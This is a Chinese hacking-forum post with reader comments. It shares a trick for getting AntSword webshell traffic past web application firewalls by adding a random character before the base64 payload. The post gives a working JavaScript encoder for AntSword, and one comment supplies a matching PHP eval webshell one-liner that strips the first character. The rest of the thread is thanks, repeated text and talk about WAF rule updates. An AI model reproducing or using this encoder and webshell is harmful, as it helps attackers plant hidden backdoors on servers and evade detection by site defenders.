分享一个AntSword过waf的小技巧
AntSword支持multipart之后可扩展性更强了,这里分享一个小技巧可以绕过基于流量的恶意请求检测
关于如何隐藏eval关键字可以参考@y35u的文章
https://www.t00ls.com/thread-49256-1-2.html
我们知道base64解码时是从头开始4位4位解的,所以绕过点就是在原始base64 payload前增加几个字符,目的是打破4的倍数使base64无法正常解码,这样遇到尝试解码的waf会解码失败,而我们的一句话则可以忽略增加的几个字符
修改起来也很简单,主要就是生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符。
光从流量上是看不出正常流量还是恶意流量的,再增加点迷惑性参数就更隐蔽了。
一点小想法,抛砖引玉。
关于如何隐藏eval关键字可以参考@y35u的文章
https://www.t00ls.com/thread-49256-1-2.html
我们知道base64解码时是从头开始4位4位解的,所以绕过点就是在原始base64 payload前增加几个字符,目的是打破4的倍数使base64无法正常解码,这样遇到尝试解码的waf会解码失败,而我们的一句话则可以忽略增加的几个字符
修改起来也很简单,主要就是生成一个随机的字符加在原始payload之前,再在一句话客户端忽略第一个字符。
module.exports = (pwd, data) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机字符
var random = String.fromCharCode(Math.floor(Math.random() * 26) + 65);
// 原有的 payload 在 data['_']中
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
data[pwd] = random + new Buffer(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
光从流量上是看不出正常流量还是恶意流量的,再增加点迷惑性参数就更隐蔽了。
一点小想法,抛砖引玉。
评论53次
如果流量检测 检测返回数据包 windows nt ......还是会报警的
用户:在payload前面加一个任意字符waf:赶紧加规则,去掉第一个字符以后base64 decode用户:在payload最后再加一个任意字符waf:去掉第一个字符以后再去掉最后一个字符然后base64 decode用户:在payload的第*%&*位加一个任意字符waf:……
不错,以后可以试试
感谢分享
顶一个
表哥,我这边蚁剑安装了之后上传有点问题,代理执行命令都没啥问题就上传有点问题,无法上传这是什么情况啊。
我感觉waf很快就要更新规则了
在更新规则,我估计网站本身底层一下函数使用都会受限
这种自定义的流量加密,waf再怎么更新规则都没用
这要是做个插件就方便多了。
用户:在payload前面加一个任意字符 waf:赶紧加规则,去掉第一个字符以后base64 decode 用户:在payload最后再加一个任意字符 waf:去掉第一个字符以后再去掉最后一个字符然后base64 decode 用户:在payload的第*%&*位加一个任意字符 waf:……
antsword确实比较好用,功能很强大。。。
请教下 shell 客户端需要变动什么呢
只要忽略前面的几个字符就好,例如忽略第一个字符<?php $b = substr($_POST, 1); eval(base64_decode($b));?>
还有这种操作.6666....
请教下 shell 客户端需要变动什么呢
只要忽略前面的几个字符就好,例如忽略第一个字符
从知道antsword支持php7以后就爱上了他
请教下 shell 客户端需要变动什么呢
思路很棒,收藏一波
如果流量检测 检测返回数据包 windows nt ......还是会报警的
这种自定义的流量加密,waf再怎么更新规则都没用
这种自定义的流量加密,waf再怎么更新规则都没用
感叹 AntSword 真的是非常方便了,稍微懂点代码的人都可以完成过狗一条龙
WAF马上就更新规则库了
AntSword更新了不知道连ASp和aspx是不是正常的
我感觉waf很快就要更新规则了